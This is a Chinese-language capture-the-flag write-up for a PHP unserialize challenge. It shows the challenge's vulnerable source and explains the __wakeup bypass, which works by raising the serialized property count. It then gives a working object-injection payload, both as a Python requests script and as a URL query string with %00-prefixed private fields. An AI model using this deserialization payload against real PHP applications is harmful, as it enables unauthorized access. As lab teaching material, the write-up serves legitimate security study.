文章目录
- 1.网站备份文件`www.zip`
- 2.下载后发现
- `class.php`
- `index.php`
- `flag.php`
- 3.分析php代码
- `绕过__wakeup方法`
- `变量权限为私有或保护`
- `python方法`
- `url方法`
1.网站备份文件www.zip
2.下载后发现
class.php
<?php
include 'flag.php';
error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
index.php
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>
flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
3.分析php代码
由index.php中,得到网站GET传参select,将传进的数据,进行反序列化;重点是class.php,通过代码分析,构造析构函数中username必须是admin,password必须是100,才能包含flag.php
function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}
__destruct() 是一个特殊的 PHP 魔术方法(Magic Method),用于在对象实例被销毁时执行一些操作。当没有任何引用指向一个对象或者显式地调用 unset() 函数时,对象就会被销毁,此时 __destruct() 方法会被调用。
function __wakeup(){$this->username = 'guest';}
在PHP中,__wakeup() 是一个特殊的魔术方法(magic method),它在反序列化一个对象时被调用。当使用 unserialize() 函数从字符串中重新创建对象时,如果该类中定义了 __wakeup() 方法,那么在反序列化后将立即调用该方法
也就是说,当我们即使传参admin,100的值后,当实类被反序列化调用时,__wakeup函数会被自动调用,username也会将admin调换成guest
所以就要绕过__wakeup方法就可以了,
绕过__wakeup方法
当序列化的中的成员数大于实际成员数,就会跳过__wakeup方法的执行
<?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}
}$a = new Name('admin', 100);
echo serialize($a)
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
将类Name后的2,改为3,即可绕过
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
变量权限为私有或保护
参考链接:https://blog.csdn.net/weixin_45844670/article/details/108171963
private是私有字段,只有在所声明的类中可见,子类和该类的实类都不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀
python方法
import requests
url = "http://fdc1a5b4-4e8c-4077-8471-748df3708de0.node5.buuoj.cn:81/"
ruqset = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(ruqset.text)
url方法
将\0改为%00
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}